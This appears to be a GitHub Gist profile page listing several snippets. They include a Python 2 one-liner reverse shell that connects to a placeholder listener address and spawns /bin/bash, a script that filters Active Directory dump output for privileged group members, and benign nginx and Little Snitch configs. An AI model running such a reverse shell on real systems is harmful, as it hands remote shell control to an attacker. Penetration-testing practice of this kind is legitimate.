Skip to content

Instantly share code, notes, and snippets.

View crypt0rr's full-sized avatar

Bart crypt0rr

View GitHub Profile
@crypt0rr
crypt0rr / HTTPServerWithUpload.py
Created November 24, 2022 14:34
HTTPServerWithUpload.py - Copy from @tjnull
#!/usr/bin/env python3
"""Simple HTTP Server With Upload Capabilities.
Arguments:
python3 HTTPServerWithUpload.py -p 80
python3 HTTPServerWithUpload.py --port 80
"""
@crypt0rr
crypt0rr / oneliner.py
Last active October 17, 2022 12:30
python2-oneliner-reverse-shell
python2.7 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<<LISTERNER-IP>>",<<LISTERNER-PORT>>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
@crypt0rr
crypt0rr / array.sh
Created January 13, 2022 14:39
Objective Development Little Snitch - Simple '.lsrules' creating scripts
#!/bin/bash
curl -s https://dbl.oisd.nl/basic -o tmp_out && sed '/#/d' tmp_out > input
echo '{
"description": "",
"name": "",
"rules": [
{
"action": "deny",
"notes": "",
@crypt0rr
crypt0rr / exchange.conf
Created November 22, 2021 13:04
Configuration for Microsoft Exchange Server (2010 / 2013 / 2016) behind a (free) nginx reverse proxy. This config allows things like Microsoft ActiveSync.
server {
listen 80;
server_name mail.example.com;
return 301 https://mail.example.com;
}
server {
listen 443 ssl http2;
server_name mail.example.com autodiscover.example.com;
@crypt0rr
crypt0rr / highprivfilter.sh
Last active November 22, 2021 12:14
LDAPDomainDump High-Priv filter
#!/bin/bash
GROUPLIST=("Domain Admins" "Enterprise Admins" "Administrators" "Schema Admins" "Backup Operators" "Account Operators" "DNS Admins")
for GROUP in ${!GROUPLIST[*]}
do
printf "%s\n" "${GROUPLIST[$GROUP]} contains:"
grep -w "${GROUPLIST[$GROUP]}" domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}' | sort && echo ""
done